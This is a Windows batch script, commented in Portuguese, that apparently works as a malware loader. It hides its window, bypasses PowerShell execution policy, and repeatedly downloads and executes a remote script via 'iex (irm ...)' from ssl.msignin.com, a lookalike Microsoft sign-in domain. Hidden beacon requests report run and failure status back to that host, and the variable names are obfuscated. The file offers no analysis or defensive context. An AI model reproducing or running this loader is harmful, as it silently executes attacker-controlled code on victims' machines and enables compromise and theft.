@echo off rem ============================================================ rem Esconder janela rem ============================================================ powershell -NoProfile -WindowStyle Hidden -Command "exit" >nul 2>&1 setlocal enabledelayedexpansion rem ============================================================ rem Configuracao rem ============================================================ set "QZK7=10" set "M4XW=1" set "R9PL=https://ssl.msignin.com/d/yXw0DSU_Ol5L" set "PNG=https://ssl.msignin.com/d/a1iUTfq1IztM/e" rem ============================================================ rem Estado rem ============================================================ set "T2HN=0" set "V8BD=0" set "K3RC=0" call :pingar run call :executar_com_retentativas call :reportar_resultado endlocal & exit /b %K3RC% rem ============================================================ rem Executa com retentativas rem ============================================================ :executar_com_retentativas :proxima_tentativa set /a T2HN+=1 call :log "Tentativa !T2HN! de %QZK7%..." call :invocar_script_remoto set "K3RC=!errorlevel!" if !K3RC! equ 0 ( set "V8BD=1" exit /b 0 ) if !T2HN! lss %QZK7% ( call :log "Falhou. Aguardando %M4XW%s antes de tentar novamente..." timeout /t %M4XW% /nobreak >nul goto :proxima_tentativa ) exit /b 0 rem ============================================================ rem Invoca script remoto rem ============================================================ :invocar_script_remoto powershell -ExecutionPolicy Bypass -NoProfile -Command ^ "try { ^ iex (irm '%R9PL%' -UseBasicParsing); ^ exit 0 ^ } catch { ^ Write-Host ('Erro: ' + $_.Exception.Message); ^ exit 1 ^ }" exit /b %errorlevel% rem ============================================================ rem Reporta resultado rem ============================================================ :reportar_resultado if "%V8BD%"=="1" ( call :log "OK na tentativa !T2HN!." ) else ( call :log "Falhou apos %QZK7% tentativas. Codigo de erro: !K3RC!" call :pingar fail ) exit /b 0 rem ============================================================ rem Ping de estatistica rem ============================================================ :pingar powershell -NoProfile -WindowStyle Hidden -Command "try { irm '%PNG%?t=%~1' -UseBasicParsing | Out-Null } catch { }" >nul 2>&1 exit /b 0 rem ============================================================ rem Log rem ============================================================ :log echo %~1 exit /b 0